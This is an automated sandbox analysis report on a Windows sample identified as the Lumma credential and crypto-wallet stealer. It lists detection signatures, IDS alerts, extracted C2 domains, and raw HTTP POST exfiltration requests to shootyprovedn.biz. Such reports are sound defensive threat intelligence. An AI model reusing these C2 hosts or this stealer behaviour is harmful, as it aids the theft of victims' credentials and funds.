Edit tour

Windows Analysis Report
SecuriteInfo.com.Heur.11787.148.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Heur.11787.148.exe
Analysis ID:	1541317
MD5:	eb0e17182b031cd14ff822f09b318895
SHA1:	ac93f8feb79b0232f3be83d0f42dd5899fbbbe2e
SHA256:	5d139999a54cd6290dd6a6bf9a2ed9cd96d10a0e1c308bc441440fb25feae4dd
Tags:	exe
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

LummaC encrypted strings found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Detected potential crypto function

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains executable resources (Code or Archives)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Heur.11787.148.exe (PID: 7328 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe" MD5: EB0E17182B031CD14FF822F09B318895)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["heroicmint.sbs", "deepymouthi.sbs", "ferrycheatyk.sbs", "captaitwik.sbs", "sidercotay.sbs", "shootyprovedn.biz", "snailyeductyi.sbs", "wrigglesight.sbs", "monstourtu.sbs"], "Build id": "xAeOdp--mainteam"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2034868233.0000000002320000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x55ef0:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
Process Memory Space: SecuriteInfo.com.Heur.11787.148.exe PID: 7328	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Heur.11787.148.exe PID: 7328	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Heur.11787.148.exe PID: 7328	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T17:30:27.632992+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49733	172.67.194.239	443	TCP
2024-10-24T17:30:29.102978+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49735	172.67.194.239	443	TCP
2024-10-24T17:30:40.212671+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49746	172.67.194.239	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T17:30:27.632992+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49733	172.67.194.239	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T17:30:29.102978+0200	2049812	1	A Network Trojan was detected	192.168.2.4	49735	172.67.194.239	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T17:30:32.575572+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49741	172.67.194.239	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: SecuriteInfo.com.Heur.11787.148.exe.7328.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["heroicmint.sbs", "deepymouthi.sbs", "ferrycheatyk.sbs", "captaitwik.sbs", "sidercotay.sbs", "shootyprovedn.biz", "snailyeductyi.sbs", "wrigglesight.sbs", "monstourtu.sbs"], "Build id": "xAeOdp--mainteam"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 94.6% probability

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2034939825.0000000002480000.00000004.00001000.00020000.00000000.sdmp	String decryptor: snailyeductyi.sbs
Source: 00000000.00000002.2034939825.0000000002480000.00000004.00001000.00020000.00000000.sdmp	String decryptor: ferrycheatyk.sbs
Source: 00000000.00000002.2034939825.0000000002480000.00000004.00001000.00020000.00000000.sdmp	String decryptor: deepymouthi.sbs
Source: 00000000.00000002.2034939825.0000000002480000.00000004.00001000.00020000.00000000.sdmp	String decryptor: wrigglesight.sbs
Source: 00000000.00000002.2034939825.0000000002480000.00000004.00001000.00020000.00000000.sdmp	String decryptor: captaitwik.sbs
Source: 00000000.00000002.2034939825.0000000002480000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sidercotay.sbs
Source: 00000000.00000002.2034939825.0000000002480000.00000004.00001000.00020000.00000000.sdmp	String decryptor: heroicmint.sbs
Source: 00000000.00000002.2034939825.0000000002480000.00000004.00001000.00020000.00000000.sdmp	String decryptor: monstourtu.sbs
Source: 00000000.00000002.2034939825.0000000002480000.00000004.00001000.00020000.00000000.sdmp	String decryptor: shootyprovedn.biz
Source: 00000000.00000002.2034939825.0000000002480000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2034939825.0000000002480000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2034939825.0000000002480000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2034939825.0000000002480000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2034939825.0000000002480000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2034939825.0000000002480000.00000004.00001000.00020000.00000000.sdmp	String decryptor: xAeOdp--mainteam

Source: SecuriteInfo.com.Heur.11787.148.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.194.239:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.194.239:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.194.239:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.194.239:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.194.239:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.194.239:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.194.239:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.194.239:443 -> 192.168.2.4:49746 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49733 -> 172.67.194.239:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49733 -> 172.67.194.239:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49741 -> 172.67.194.239:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49746 -> 172.67.194.239:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49735 -> 172.67.194.239:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49735 -> 172.67.194.239:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: heroicmint.sbs
Source: Malware configuration extractor	URLs: deepymouthi.sbs
Source: Malware configuration extractor	URLs: ferrycheatyk.sbs
Source: Malware configuration extractor	URLs: captaitwik.sbs
Source: Malware configuration extractor	URLs: sidercotay.sbs
Source: Malware configuration extractor	URLs: shootyprovedn.biz
Source: Malware configuration extractor	URLs: snailyeductyi.sbs
Source: Malware configuration extractor	URLs: wrigglesight.sbs
Source: Malware configuration extractor	URLs: monstourtu.sbs

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: shootyprovedn.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=lpD1RjXJohCLYpmyqlQ0fid0_0I3gp7rVFYE4zoJRm8-1729783827-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: shootyprovedn.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=lpD1RjXJohCLYpmyqlQ0fid0_0I3gp7rVFYE4zoJRm8-1729783827-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18166Host: shootyprovedn.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=lpD1RjXJohCLYpmyqlQ0fid0_0I3gp7rVFYE4zoJRm8-1729783827-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8787Host: shootyprovedn.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=lpD1RjXJohCLYpmyqlQ0fid0_0I3gp7rVFYE4zoJRm8-1729783827-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20440Host: shootyprovedn.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=lpD1RjXJohCLYpmyqlQ0fid0_0I3gp7rVFYE4zoJRm8-1729783827-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1293Host: shootyprovedn.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=lpD1RjXJohCLYpmyqlQ0fid0_0I3gp7rVFYE4zoJRm8-1729783827-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1135Host: shootyprovedn.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=lpD1RjXJohCLYpmyqlQ0fid0_0I3gp7rVFYE4zoJRm8-1729783827-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 117Host: shootyprovedn.biz

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: shootyprovedn.biz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: shootyprovedn.biz

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 24 Oct 2024 15:30:27 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NdpjtW5YPafBUh3s7ppgZhrfaoPtc36hKF5Q5vMgWL3vfH%2BO25tcEBclBq03vYYAvEIXbgoIqja1UCbzDQElwHncUc5hA3oF6WB1tP5OJSDAIsSNFN5wcLzCcLbYioMtGLoDBQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d7b021a3e724653-DFW

Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1957633276.0000000003581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1957633276.0000000003581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1957633276.0000000003581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1957633276.0000000003581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1957633276.0000000003581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1957633276.0000000003581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1957633276.0000000003581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1957633276.0000000003581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1957633276.0000000003581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: http://www.???.xx/?search=%s
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: http://www.softwareok.com
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: http://www.softwareok.com/?Download=Find.Same.Images.OK
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: http://www.softwareok.com/?Freeware/Find.Same.Images.OK
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: http://www.softwareok.com/?Freeware/Find.Same.Images.OK/History
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: http://www.softwareok.com/?seite=faq-Find.Same.Images.OK&faq=0
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: http://www.softwareok.de
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: http://www.softwareok.de/?Download=Find.Same.Images.OK
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: http://www.softwareok.de/?Freeware/Find.Same.Images.OK
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: http://www.softwareok.de/?Freeware/Find.Same.Images.OK/History
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: http://www.softwareok.de/?seite=faq-Find.Same.Images.OK&faq=0
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: http://www.surfok.de/
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: http://www.surfok.de/%3D%3F
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1957633276.0000000003581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1957633276.0000000003581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924749169.0000000003599000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924846941.0000000003597000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924966391.0000000003597000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924749169.0000000003599000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924846941.0000000003597000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924966391.0000000003597000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924749169.0000000003599000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924846941.0000000003597000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924966391.0000000003597000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924749169.0000000003599000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924846941.0000000003597000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924966391.0000000003597000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924749169.0000000003599000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924846941.0000000003597000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924966391.0000000003597000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924749169.0000000003599000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924846941.0000000003597000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924966391.0000000003597000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924749169.0000000003599000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924846941.0000000003597000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924966391.0000000003597000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1997989046.0000000000860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shootyprovedn.biz/
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1939042700.000000000085D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shootyprovedn.biz/8
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2020457154.0000000000860000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2020475367.000000000086B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2005316291.000000000085D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1997989046.0000000000860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shootyprovedn.biz/H
Source: SecuriteInfo.com.Heur.11787.148.exe, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1957439602.0000000000898000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2034605895.000000000088A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1998167986.0000000000890000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1998192388.0000000000889000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1997893249.000000000089A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2034638879.0000000000890000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1907779593.0000000000818000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1923669185.0000000000876000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1981635188.0000000000898000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2020840297.0000000000890000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1938968547.000000000355E000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2033749788.0000000000889000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2005356289.0000000000890000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2034669036.000000000089A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1939042700.000000000085D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2033738183.0000000000890000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2020855856.0000000000889000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2005356289.0000000000883000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shootyprovedn.biz/api
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2034638879.0000000000890000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2020840297.0000000000890000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2005356289.0000000000890000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2033738183.0000000000890000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shootyprovedn.biz/api0-R
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1938968547.000000000355E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shootyprovedn.biz/api62
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1998192388.0000000000889000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shootyprovedn.biz/apiF5V
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2034605895.000000000088A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2033749788.0000000000889000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shootyprovedn.biz/apiY
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2034444258.000000000081A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2033702755.000000000081A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2033518619.000000000081A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shootyprovedn.biz:443/api
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924062377.00000000035AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1958693064.000000000367D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
